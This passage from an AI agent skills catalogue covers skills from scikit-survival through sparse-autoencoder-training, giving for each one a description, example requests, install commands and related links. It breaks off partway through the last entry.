copies the full skill folder. # scikit-survival — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/scikit-survival Builds, evaluates, and audits right-censored survival analysis workflows with scikit-survival (sksurv): Cox PH, Coxnet, IPC ridge, survival trees, forests… # `scikit-survival` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** survival analysis, Cox regression, time-to-event, biostatistics, machine learning ## When to use it Builds, evaluates, and audits right-censored survival analysis workflows with scikit-survival (sksurv): Cox PH, Coxnet, IPC ridge, survival trees, forests, boosting, and SVMs, plus nonparametric cumulative incidence for competing risks. Covers leakage-safe scikit-learn pipelines, nested CV, and censoring-aware metrics. Use when fitting survival models on time-to-event data, building structured outcome arrays, computing IPCW concordance, dynamic AUC, or Brier scores, estimating cause-specific cumulative incidence, or tuning models without leakage. Not for Fine-Gray regression, which scikit-survival does not provide. ## Example requests Ask your agent in plain language, for example: * *"How do I get Uno's C-index for my Coxnet model in sksurv? I keep getting an error about survival\_train."* * *"I have clinic\_outcomes.csv with columns age, sex, creatinine, stage, months\_to\_relapse, relapsed (0/1), and about 8% missing creatinine. I want to compare a random survival forest and a penalized Cox model, tune hyperparameters, and report an honest cross-validated integrated Brier score and time-dependent AUC. Currently I impute and scale the whole table first, then run GridSearchCV. Can you fix this workflow?"* * *"My transplant cohort has patients who either relapse, die without relapse, or are censored at last follow-up. I want to estimate the probability of relapse by 3 years without treating death as just censoring. What should I do in Python?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill scikit-survival # GitHub CLI gh skill install KalarisLabs/research-agent-skills scikit-survival ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/scikit-survival/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # scvelo — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/scvelo Performs RNA velocity analysis with scVelo on single-cell RNA-seq AnnData objects that have spliced and unspliced layers (from velocyto, STARsolo… # `scvelo` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** BSD-3-Clause · **Version:** 1.2 · **Includes scripts** **Tags:** RNA velocity, single-cell, cell trajectories, transcriptomics ## When to use it Performs RNA velocity analysis with scVelo on single-cell RNA-seq AnnData objects that have spliced and unspliced layers (from velocyto, STARsolo, kallisto|bustools, or alevin-fry). Covers stochastic and dynamical velocity models, velocity graphs and embedding arrows, latent time, PAGA trajectory graphs, and driver gene ranking. Use when inferring differentiation direction from snapshot data, estimating latent time from splicing kinetics, finding driver genes of a trajectory, or adding velocity arrows to a Scanpy UMAP. Not for fate probability modeling (use CellRank) or datasets without unspliced counts. ## Example requests Ask your agent in plain language, for example: * *"How do I add RNA velocity arrows to my Scanpy UMAP? I have a loom file from velocyto."* * *"I have pancreas\_endocrine.h5ad (mouse E15.5 endocrinogenesis, \~3,700 cells) with spliced and unspliced layers from STARsolo Velocyto. I ran scv.tl.velocity with mode='stochastic' and the arrows look random and point backwards from Ductal toward Ngn3 progenitors. Switch to the dynamical model, compute latent time, and give me the top driver genes per cluster. Running recover\_dynamics hits a memory error on my laptop."* * *"I have single-cell data from differentiating blood progenitors and only one snapshot timepoint. I want to figure out which cells are the earliest and in which direction they are moving, using the intronic versus exonic read information, and get a continuous ordering of the cells along that process."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill scvelo # GitHub CLI gh skill install KalarisLabs/research-agent-skills scvelo ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/scvelo/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # scvi-tools — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/scvi-tools Trains and applies scvi-tools probabilistic deep generative models (scVI, scANVI, totalVI, MultiVI, PeakVI, DestVI, Solo, CellAssign, MrVI and others) on… # `scvi-tools` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** BSD-3-Clause license · **Version:** 1.2 **Tags:** single-cell, deep generative models, batch correction, cell type annotation ## When to use it Trains and applies scvi-tools probabilistic deep generative models (scVI, scANVI, totalVI, MultiVI, PeakVI, DestVI, Solo, CellAssign, MrVI and others) on AnnData or MuData single-cell data using PyTorch. Covers batch correction, integration, cell type annotation, probabilistic differential expression, and scRNA-seq, ATAC-seq, CITE-seq, spatial and methylation data. Use when integrating batches or datasets with scVI, annotating cells with scANVI, jointly modeling RNA and protein or ATAC, deconvolving spatial spots, or testing differential expression with uncertainty. For standard preprocessing and clustering pipelines, use scanpy instead. ## Example requests Ask your agent in plain language, for example: * *"How do I fix batch effects across 4 donors using scVI?"* * *"I have pbmc\_cite.h5mu with RNA and a 'protein\_expression' layer from 3 10x CITE-seq lanes. I ran TOTALVI.setup\_mudata and then model.train() and got a NaN loss after a few epochs. The protein counts include some isotype controls. What should I check, and how do I get a joint latent space and denoised protein values afterward?"* * *"I have a reference scRNA-seq atlas with cell type labels and a new unlabeled query dataset from a different lab. I want to transfer the labels onto the query cells and get a confidence for each assignment, without retraining everything from scratch if possible."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill scvi-tools # GitHub CLI gh skill install KalarisLabs/research-agent-skills scvi-tools ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`anndata`](/research-agent-skills/skills/anndata) * [`cellxgene-census`](/research-agent-skills/skills/cellxgene-census) * [`scanpy`](/research-agent-skills/skills/scanpy) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/scvi-tools/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # seaborn — AI agent skill for visualization and presentation Source: https://docs.kalarislabs.com/research-agent-skills/skills/seaborn Statistical visualization with pandas integration. # `seaborn` **Category:** [visualization-and-presentation](/research-agent-skills/skills#visualization-and-presentation) · **License:** BSD-3-Clause license · **Version:** 1.3 **Tags:** statistical visualization, plotting, data visualization, Python ## When to use it Statistical visualization with pandas integration. Use for quick exploration of distributions, relationships, and categorical comparisons with attractive defaults. Best for box plots, violin plots, pair plots, heatmaps. Built on matplotlib. For interactive plots use plotly; for publication styling use scientific-visualization. ## Example requests Ask your agent in plain language, for example: * *"Can you make a pair plot of my iris dataframe colored by species?"* * *"I have expression\_counts.csv with columns sample\_id, condition (control/treated/rescue), gene, log2\_expr. I want to compare log2\_expr across the three conditions for each gene, with individual points visible, and I keep getting a FutureWarning about 'palette' without 'hue' when I run sns.boxplot(x='condition', y='log2\_expr', data=df, palette='Set2'). Fix it and show the distributions."* * *"I've got a table of 40 patient biomarkers and I want to see which ones move together and group similar ones, as a color-coded grid I can drop into a lab meeting slide. What should I do?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill seaborn # GitHub CLI gh skill install KalarisLabs/research-agent-skills seaborn ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `visualization-and-presentation` category with `/plugin install visualization-and-presentation@research-agent-skills`. ## Related * [`scientific-visualization`](/research-agent-skills/skills/scientific-visualization) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/seaborn/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # segment-anything-model — AI agent skill for multimodal and emerging Source: https://docs.kalarislabs.com/research-agent-skills/skills/segment-anything-model Foundation model for image segmentation with zero-shot transfer. # `segment-anything-model` **Category:** [multimodal-and-emerging](/research-agent-skills/skills#multimodal-and-emerging) · **License:** MIT · **Version:** 1.0.0 **Tags:** Multimodal, Image Segmentation, Computer Vision, SAM, Zero-Shot ## When to use it Foundation model for image segmentation with zero-shot transfer. Use when you need to segment any object in images using points, boxes, or masks as prompts, or automatically generate all object masks in an image. ## Example requests Ask your agent in plain language, for example: * *"Can you click-segment the tumor in this ultrasound image for me? I've got a point on it."* * *"I'm working with \~400 SEM micrographs in ./sem\_images/ (PNG, 2048x2048) and want per-particle masks for sizing. I ran SamAutomaticMaskGenerator with vit\_h from sam\_vit\_h\_4b8939.pth and got CUDA out of memory on a 12GB GPU. Small particles are also being missed. How do I fix this?"* * *"I need to cut out every individual cell from my fluorescence microscopy images without training anything, and then use the masks as labels to train a smaller model later. What's a good approach?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill segment-anything-model # GitHub CLI gh skill install KalarisLabs/research-agent-skills segment-anything-model ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `multimodal-and-emerging` category with `/plugin install multimodal-and-emerging@research-agent-skills`. ## Related * [`clip`](/research-agent-skills/skills/clip) * [`histolab`](/research-agent-skills/skills/histolab) * [`blip-2-vision-language`](/research-agent-skills/skills/blip-2-vision-language) * [`generate-image`](/research-agent-skills/skills/generate-image) * [`timesfm-forecasting`](/research-agent-skills/skills/timesfm-forecasting) * [Skills for AI research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/segment-anything-model/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # sentence-transformers — AI agent skill for knowledge and rag Source: https://docs.kalarislabs.com/research-agent-skills/skills/sentence-transformers Generates sentence, text, and image embeddings locally with the Python sentence-transformers (SBERT) library, using pre-trained Hugging Face models such as… # `sentence-transformers` **Category:** [knowledge-and-rag](/research-agent-skills/skills#knowledge-and-rag) · **License:** MIT · **Version:** 1.0.0 **Tags:** Sentence Transformers, Embeddings, Semantic Similarity, RAG, Multilingual, Multimodal, Pre-Trained Models, Clustering, Semantic Search, Production ## When to use it Generates sentence, text, and image embeddings locally with the Python sentence-transformers (SBERT) library, using pre-trained Hugging Face models such as all-MiniLM-L6-v2, all-mpnet-base-v2, and multilingual variants. Covers encoding, cosine similarity, semantic search, batch encoding, fine-tuning, and LangChain/LlamaIndex integration. Use when building embeddings for RAG, running semantic search or similarity scoring, clustering or classifying text, embedding multilingual text without an API, or fine-tuning an embedding model on domain data. For API-based or managed embeddings, use OpenAI or Cohere Embed instead. ## Example requests Ask your agent in plain language, for example: * *"How do I get embeddings for a list of sentences without calling an API?"* * *"I have abstracts.csv with about 40k paper abstracts in a 'abstract' column. I want to build a semantic search so I can type a query and get the top 10 most similar abstracts. I'm on a laptop with no GPU. Can you set that up with all-mpnet-base-v2 and tell me how long it will take?"* * *"I have about 3,000 customer support tickets in German, French and English. I want to group them into topics automatically, and I can't send the text to any external service because of privacy rules. What should I do?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill sentence-transformers # GitHub CLI gh skill install KalarisLabs/research-agent-skills sentence-transformers ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `knowledge-and-rag` category with `/plugin install knowledge-and-rag@research-agent-skills`. ## Related * [`autoskill`](/research-agent-skills/skills/autoskill) * [`esm`](/research-agent-skills/skills/esm) * [`paper-corpus-rag`](/research-agent-skills/skills/paper-corpus-rag) * [`qdrant-vector-search`](/research-agent-skills/skills/qdrant-vector-search) * [`umap-learn`](/research-agent-skills/skills/umap-learn) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/sentence-transformers/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # sentencepiece — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/sentencepiece Language-independent tokenizer treating text as raw Unicode. Supports BPE and Unigram algorithms. # `sentencepiece` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Tokenization, SentencePiece, Language-Independent, BPE, Unigram, Multilingual, CJK Languages, Unicode, Deterministic, Google ## When to use it Language-independent tokenizer treating text as raw Unicode. Supports BPE and Unigram algorithms. Fast (50k sentences/sec), lightweight (6MB memory), deterministic vocabulary. Used by T5, ALBERT, XLNet, mBART. Train on raw text without pre-tokenization. Use when you need multilingual support, CJK languages, or reproducible tokenization. ## Example requests Ask your agent in plain language, for example: * *"How do I train a 32k Unigram SentencePiece model on my raw text file?"* * *"I'm building a Japanese-Chinese-Korean translation model from corpus\_cjk.txt (about 2GB, no word segmentation). I need a subword vocab of \~64k, and I want the same vocab every time I rerun the pipeline. Tokenization currently chokes on missing characters and I see lots of \. What should I do?"* * *"I want to fine-tune a T5-style model on multilingual text, and I need to build a tokenizer from scratch that uses the same approach T5 uses, without any language-specific preprocessing. How should I set that up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill sentencepiece # GitHub CLI gh skill install KalarisLabs/research-agent-skills sentencepiece ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`huggingface-tokenizers`](/research-agent-skills/skills/huggingface-tokenizers) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/sentencepiece/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # serving-llms-vllm — AI agent skill for ml inference and ops Source: https://docs.kalarislabs.com/research-agent-skills/skills/serving-llms-vllm Serves LLMs with high throughput using vLLM's PagedAttention and continuous batching. # `serving-llms-vllm` **Category:** [ml-inference-and-ops](/research-agent-skills/skills#ml-inference-and-ops) · **License:** MIT · **Version:** 1.0.0 **Tags:** vLLM, Inference Serving, PagedAttention, Continuous Batching, High Throughput, Production, OpenAI API, Quantization, Tensor Parallelism ## When to use it Serves LLMs with high throughput using vLLM's PagedAttention and continuous batching. Use when deploying production LLM APIs, optimizing inference latency/throughput, or serving models with limited GPU memory. Supports OpenAI-compatible endpoints, quantization (GPTQ/AWQ/FP8), and tensor parallelism. ## Example requests Ask your agent in plain language, for example: * *"How do I serve Llama-3-8B with vLLM behind an OpenAI-style API?"* * *"I'm trying to load Qwen2.5-72B-Instruct-AWQ on 2x A100 80GB for our lab's chat tool and vLLM crashes with 'CUDA out of memory' during model loading. Command: vllm serve Qwen/Qwen2.5-72B-Instruct-AWQ --tensor-parallel-size 2. What should I change?"* * *"I have 200,000 abstracts in abstracts.jsonl and need to run an open-weights model over all of them to extract structured summaries on one shared GPU server. What's the fastest way to do this without writing a request loop against an API?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill serving-llms-vllm # GitHub CLI gh skill install KalarisLabs/research-agent-skills serving-llms-vllm ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-inference-and-ops` category with `/plugin install ml-inference-and-ops@research-agent-skills`. ## Related * [`awq-quantization`](/research-agent-skills/skills/awq-quantization) * [`llamaguard`](/research-agent-skills/skills/llamaguard) * [`miles-rl-training`](/research-agent-skills/skills/miles-rl-training) * [`ml-training-recipes`](/research-agent-skills/skills/ml-training-recipes) * [`modal`](/research-agent-skills/skills/modal) * [`tensorrt-llm`](/research-agent-skills/skills/tensorrt-llm) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/serving-llms-vllm/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # sglang — AI agent skill for ml inference and ops Source: https://docs.kalarislabs.com/research-agent-skills/skills/sglang Fast structured generation and serving for LLMs with RadixAttention prefix caching. # `sglang` **Category:** [ml-inference-and-ops](/research-agent-skills/skills#ml-inference-and-ops) · **License:** MIT · **Version:** 1.0.0 **Tags:** Inference Serving, SGLang, Structured Generation, RadixAttention, Prefix Caching, Constrained Decoding, Agents, JSON Output, Fast Inference, Production Scale ## When to use it Fast structured generation and serving for LLMs with RadixAttention prefix caching. Use for JSON/regex outputs, constrained decoding, agentic workflows with tool calls, or when you need 5× faster inference than vLLM with prefix sharing. Powers 300,000+ GPUs at xAI, AMD, NVIDIA, and LinkedIn. ## Example requests Ask your agent in plain language, for example: * *"How do I get SGLang to only output valid JSON matching my schema?"* * *"I'm running Llama-3.1-8B-Instruct on a single A100 to annotate 20k abstracts in abstracts.jsonl. Every request starts with the same \~1,200-token system prompt plus 8 few-shot examples, and throughput is awful with my current vLLM setup. I'm now getting 'CUDA out of memory' when I raise concurrency. Can you set up SGLang for this and tell me what to tune?"* * *"I'm building a lab assistant agent that calls tools (plate reader lookup, protocol search) in multi-step loops, and each step resends a long shared context. I want to self-host an open model so the repeated context isn't recomputed every turn and the tool call arguments always parse correctly. What serving stack and setup should I use?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill sglang # GitHub CLI gh skill install KalarisLabs/research-agent-skills sglang ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-inference-and-ops` category with `/plugin install ml-inference-and-ops@research-agent-skills`. ## Related * [`llama-cpp`](/research-agent-skills/skills/llama-cpp) * [`tensorrt-llm`](/research-agent-skills/skills/tensorrt-llm) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/sglang/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # shap — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/shap Explain and audit machine-learning predictions with SHAP. # `shap` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** MIT · **Version:** 2.1 · **Includes scripts** **Tags:** explainable AI, SHAP, feature attribution, model interpretability, machine learning ## When to use it Explain and audit machine-learning predictions with SHAP. Use for selecting SHAP explainers and maskers, computing and validating feature attributions, handling multi-output explanations, and producing local or global SHAP visualizations. ## Example requests Ask your agent in plain language, for example: * *"How do I get SHAP values for my XGBoost classifier and make a beeswarm plot?"* * *"I'm working on a LightGBM model predicting 30-day readmission from train.parquet (about 40 features, many correlated like creatinine and eGFR). I ran shap.TreeExplainer(model).shap\_values(X\_test) and got a list of two arrays, then plotting with values\[1] fails with a shape error on the newer shap version. Also I get an additivity check error when I switch to model\_output='probability'. How do I fix this?"* * *"I trained a gradient boosted model on patient lab data and a reviewer asked us to show why the model flagged certain patients as high risk and which inputs drive predictions overall. How should I go about producing that for the paper, including making sure the explanations are trustworthy?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill shap # GitHub CLI gh skill install KalarisLabs/research-agent-skills shap ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/shap/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # simpo-training — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/simpo-training Simple Preference Optimization for LLM alignment. Reference-free alternative to DPO with better performance (+6.4 points on AlpacaEval 2.0). # `simpo-training` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Post-Training, SimPO, Preference Optimization, Alignment, DPO Alternative, Reference-Free, LLM Alignment, Efficient Training ## When to use it Simple Preference Optimization for LLM alignment. Reference-free alternative to DPO with better performance (+6.4 points on AlpacaEval 2.0). No reference model needed, more efficient than DPO. Use for preference alignment when want simpler, faster training than DPO/PPO. ## Example requests Ask your agent in plain language, for example: * *"How do I train a model with SimPO instead of DPO?"* * *"I have 60k chosen/rejected pairs in ultrafeedback\_binarized.jsonl and a single node with 2x A100 40GB. I want to align Llama-3-8B-Instruct. My last run with lr 1e-5 had the loss go to NaN after about 200 steps. Can you set up the config and help me stop it from diverging?"* * *"I've got a Mistral 7B that's already been SFT'd, plus a pile of pairwise human preference labels. I want to push it toward preferred responses without the memory cost of keeping a frozen copy of the model around, and I don't want to build a reward model or run PPO. What's the simplest approach and how do I run it?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill simpo-training # GitHub CLI gh skill install KalarisLabs/research-agent-skills simpo-training ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`fine-tuning-with-trl`](/research-agent-skills/skills/fine-tuning-with-trl) * [`openrlhf-training`](/research-agent-skills/skills/openrlhf-training) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/simpo-training/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # simpy — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/simpy Builds, tests, and analyzes bounded process-based discrete-event simulations in Python with SimPy 4.1.2: Environment, Timeout, Process, AnyOf/AllOf… # `simpy` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** MIT · **Version:** 1.4 · **Includes scripts** **Tags:** discrete-event simulation, simulation, queueing, operations research ## When to use it Builds, tests, and analyzes bounded process-based discrete-event simulations in Python with SimPy 4.1.2: Environment, Timeout, Process, AnyOf/AllOf conditions, interrupts, Resource, PriorityResource, PreemptiveResource, Container, Store, time-weighted monitoring, and replication-based output analysis, plus bundled safe CLIs. Use when modeling queues, production lines, logistics, or service operations with generator processes; when contending entities need shared resources or preemption; when instrumenting queue length or utilization correctly; when running independent replications with seeds and confidence intervals; when debugging event ordering or run(until=) boundaries. Not for continuous-time ODE or agent-based modeling frameworks. ## Example requests Ask your agent in plain language, for example: * *"How do I make a SimPy process wait for either a timeout or a resource request, whichever comes first?"* * *"My clinic model in clinic\_sim.py has 3 nurses as a simpy.Resource and I log len(res.queue) each time a patient arrives, then take the mean. The mean queue length comes out far lower than the M/M/3 formula gives. I also run it with env.run(until=480). What's wrong, and how do I measure it properly? I'd like a CI over 30 seeds too."* * *"I'm studying a two-stage production line where machines break down and a repair technician has to stop whatever job is running. I need to estimate throughput and how long parts spend in the system, and I want to be able to trust the numbers. How should I build and analyze this?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill simpy # GitHub CLI gh skill install KalarisLabs/research-agent-skills simpy ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/simpy/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # skypilot-multi-cloud-orchestration — AI agent skill for ml inference and ops Source: https://docs.kalarislabs.com/research-agent-skills/skills/skypilot-multi-cloud-orchestration Multi-cloud orchestration for ML workloads with automatic cost optimization. # `skypilot-multi-cloud-orchestration` **Category:** [ml-inference-and-ops](/research-agent-skills/skills#ml-inference-and-ops) · **License:** MIT · **Version:** 1.0.0 **Tags:** Infrastructure, Multi-Cloud, Orchestration, GPU, Cost Optimization, SkyPilot ## When to use it Multi-cloud orchestration for ML workloads with automatic cost optimization. Use when you need to run training or batch jobs across multiple clouds, leverage spot instances with auto-recovery, or optimize GPU costs across providers. ## Example requests Ask your agent in plain language, for example: * *"How do I get my training job to run on whichever cloud has the cheapest A100s right now?"* * *"My spot instance on GCP keeps getting preempted halfway through fine-tuning llama-3-8b with train.py, and I lose everything each time. Checkpoints are written to /outputs. How do I make this resume automatically without babysitting it?"* * *"I have a 4-node, 8xH100 pretraining run and a grant that lets me use credits on AWS, Azure and Lambda. I'd rather not rewrite my launch scripts for each provider. What's a sane way to set this up so the same job spec works everywhere and fails over if one is out of capacity?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill skypilot-multi-cloud-orchestration # GitHub CLI gh skill install KalarisLabs/research-agent-skills skypilot-multi-cloud-orchestration ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-inference-and-ops` category with `/plugin install ml-inference-and-ops@research-agent-skills`. ## Related * [`lambda-labs-gpu-cloud`](/research-agent-skills/skills/lambda-labs-gpu-cloud) * [`modal-serverless-gpu`](/research-agent-skills/skills/modal-serverless-gpu) * [`ray-train`](/research-agent-skills/skills/ray-train) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/skypilot-multi-cloud-orchestration/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # slime-rl-training — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/slime-rl-training Provides guidance for LLM post-training with RL using slime, a Megatron+SGLang framework. # `slime-rl-training` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Reinforcement Learning, Megatron-LM, SGLang, GRPO, Post-Training, GLM ## When to use it Provides guidance for LLM post-training with RL using slime, a Megatron+SGLang framework. Use when training GLM models, implementing custom data generation workflows, or needing tight Megatron-LM integration for RL scaling. ## Example requests Ask your agent in plain language, for example: * *"How do I launch a GRPO run with slime on GLM-4.7?"* * *"I'm running THUDM/slime in Docker on 2 nodes of 8xH100 to RL-train Qwen3-30B-A3B on my train.jsonl, which has prompt and label fields. Training hangs right after the first rollout finishes, and then I get a weight sync timeout. What should I check?"* * *"I want to train a search agent with RL. It should call a retrieval tool over several turns, get a reward from the final answer, and run on a Megatron-LM stack with SGLang serving the rollouts. The pipeline should overlap generation and training to avoid idle GPUs. How should I set this up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill slime-rl-training # GitHub CLI gh skill install KalarisLabs/research-agent-skills slime-rl-training ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`miles-rl-training`](/research-agent-skills/skills/miles-rl-training) * [`nnsight-remote-interpretability`](/research-agent-skills/skills/nnsight-remote-interpretability) * [`verl-rl-training`](/research-agent-skills/skills/verl-rl-training) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/slime-rl-training/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # sparse-autoencoder-training — AI agent skill for ml evaluation and safety Source: https://docs.kalarislabs.com/research-agent-skills/skills/sparse-autoencoder-training Provides guidance for training and analyzing Sparse Autoencoders (SAEs) using SAELens to decompose neural network activations into interpretable features. # `sparse-autoencoder-training` **Category:** [ml-evaluation-and-safety](/research-agent-skills/skills#ml-evaluation-and-safety) · **License:** MIT · **Version:** 1.0.0 **Tags:** Sparse Autoencoders, SAE, Mechanistic Interpretability, Feature Discovery, Superposition ## When to use it Provides guidance for training and analyzing Sparse Autoencoders (SAEs) using SAELens to decompose neural network activations into interpretable features. Use when discovering interpretable features, analyzing superposition, or studying monosemantic representations in language models. ## Example requests Ask your agent in plain language, for example: * *"How do I load a pretrained SAE for GPT-2 small and see which features fire on a sentence?"* * *"I'm training an SAE on layer 8 residual stream of Gemma 2B with SAELens (d\_model 2048, d\_sae 16384). After 20k steps, about 40% of my features are dead and the L0 is \~600. Here's my config: l1\_coefficient=2e-4, lr=5e-4, l1\_warm\_up\_steps=0. What should I change and what metrics should I check?"* * *"I want to break apart a language model's internal activations into human-understandable concepts, because I think individual neurons are encoding multiple unrelated things at once. How should I go about it, and how do I check the concepts are really meaningful?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill sparse-autoencoder-training # GitHub CLI gh skill install KalarisLabs/research-agent-skills sparse-autoencoder-training ``` In Claude Code you can also add the marketplace with `/plugin marketplace add 